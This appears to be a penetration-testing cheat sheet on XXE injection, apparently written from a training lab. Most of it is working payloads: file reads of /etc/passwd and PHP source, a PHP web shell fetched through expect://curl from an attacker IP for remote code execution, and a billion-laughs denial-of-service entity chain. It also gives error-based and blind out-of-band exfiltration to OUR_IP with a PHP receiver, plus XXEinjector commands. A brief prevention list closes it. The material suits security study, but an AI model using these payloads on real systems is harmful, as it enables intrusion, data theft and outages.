XXE

Key
Definition
Example

Tag

The keys of an XML document, usually wrapped with (</>) characters.

<date>

Entity

XML variables, usually wrapped with (&/;) characters.

&lt;

Element

The root element or any of its child elements, and its value is stored in between a start-tag and an end-tag.

<date>01-01-2022</date>

Attribute

Optional specifications for any element that are stored in the tags, which may be used by the XML parser.

version="1.0"/encoding="UTF-8"

Declaration

Usually the first line of an XML document, and defines the XML version and encoding to use when parsing it.

<?xml version="1.0" encoding="UTF-8"?>

XML DTD (Document Type Description)

Email.dtd

<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT cc (to*)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT time (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT to  (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>

Retrieving Email.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "email.dtd">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "http://inlanefreight.com/email.dtd">

XML Entities

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

External XML Entities

You can use SYSTEM or PUBLIC

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "http://localhost/company.txt">
  <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>


Exploitation

Identifying

  1. Note which elements are being displayed, so we know which elements to inject into

  2. Try to display an entity (declaration is placed outside <root>)

<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>
<email>&company;<email>

Reading Sensitive Files

Note: In java, sometimes we can get directory listing when we input a directory instead of a file

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

Note: If the file we are referencing to contains XML chars (<, >, &), it might not display due to error so we need to encode it

<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

Remote Code Execution

$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
$ sudo python3 -m http.server 80
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

Note: encode <space> so we won't' break the XML. Also avoid using |, >, and {

Other XXE Attacks

DoS

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>

Note: Entity self referencing doesn't work on modern web servers (i.e. apache)

Advance File Disclosure

php filter alternative. CDATA will make XML treat as raw data so special characters won't be a problem

<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>

Note: &joined; will not work here since XML forbids joining of internal dtd and external dtd. Thats why use XML parameter entities %. This will make xml treat all of them as external

<!ENTITY joined "%begin;%file;%end;">

Final Exploit

$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
$ python3 -m http.server 8000
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- our external DTD -->
  %xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the content -->

Note: In some modern web servers, we may not be able to read some files (like index.php), as the web server would be preventing a DOS attack caused by file/entity self-reference (i.e., XML entity reference loop)

Error-Based XXE

Not as reliable as previous methods

  • certain characters might break it

  • content length limitation

Identifying

  • Pass a malformed xml data <roo> instead of <root>

  • or use a &nonExistentEntity;

Exploitation

Assuming $nonExistentEntity; (or you can use a bad character in the reference file or a bad URI) throws an error:

<!-- xxe.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

Blind XXE (Out-of-band exfiltration)

xxe.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

PHP Server

<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

Automated OOB Exfiltration

XXEinjector

$ git clone https://github.com/enjoiz/XXEinjector.git
$ cat req.txt

POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT

$ ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=req.txt --path=/etc/passwd --oob=http --phpfilter
$ cat Logs/10.129.201.94/etc/passwd.log 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..

Prevention

  • Avoid using outdated components

  • Using Safe XML Configurations

    • Disable referencing custom Document Type Definitions (DTDs)

    • Disable referencing External XML Entities

    • Disable Parameter Entity processing

    • Disable support for XInclude

    • Prevent Entity Reference Loops

  • Add proper exception handlings for error-based XXE

  • Others suggest avoid using XML data (SOAP API), instead use JSON or YAML

  • WAF

Last updated